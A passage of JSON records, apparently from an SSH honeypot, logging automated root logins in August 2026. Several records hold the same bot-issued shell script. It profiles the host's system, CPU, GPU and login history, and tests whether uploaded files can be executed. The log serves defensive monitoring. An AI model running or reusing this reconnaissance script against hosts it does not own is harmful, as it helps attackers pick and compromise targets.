  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 7628,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T15:30:49.289966+00:00",
  "ended_at": "2026-08-25T15:30:49.807998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a518d739-b533-4da1-b414-70494623b7cd",
  "name": "inland-kindly-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.231",
  "src_port": 10528,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T15:27:42.584234+00:00",
  "ended_at": "2026-08-25T15:27:43.696735+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "80f51cb3-0ee3-4820-8481-ef7d2659ed37",
  "name": "crisp-hardy-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 53910,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:15:56.526328+00:00",
  "ended_at": "2026-08-25T15:15:57.192064+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "34bccadf-848c-4366-aade-baf9b2a5d246",
  "name": "fierce-knotted-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 51234,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:13:27.398756+00:00",
  "ended_at": "2026-08-25T15:13:29.169799+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e58755e0-9325-4478-af8f-50a8aa5c03b2",
  "name": "steady-buoyant-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 48524,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:11:09.944083+00:00",
  "ended_at": "2026-08-25T15:11:11.193506+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8a2c2f38-4225-446b-b94e-c8b0dfcb982d",
  "name": "canny-meadow-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 45838,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:08:38.801590+00:00",
  "ended_at": "2026-08-25T15:08:40.156944+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "de3b7188-c4cf-48a6-adf8-0880e9017804",
  "name": "clever-mighty-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 43154,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:06:18.223604+00:00",
  "ended_at": "2026-08-25T15:06:18.986870+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b06e0289-7a1a-4c87-b5c3-1449b06ba7f2",
  "name": "quaint-marine-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.131",
  "src_port": 46558,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T15:04:05.740280+00:00",
  "ended_at": "2026-08-25T15:04:06.694144+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1d1749a6-25fb-472c-b8f8-25399a3db7b0",
  "name": "indigo-lively-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 40458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:03:59.612823+00:00",
  "ended_at": "2026-08-25T15:04:00.206388+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8a8e6c99-ff0f-4f2a-b071-881d10f3d383",
  "name": "arctic-amber-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 37724,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
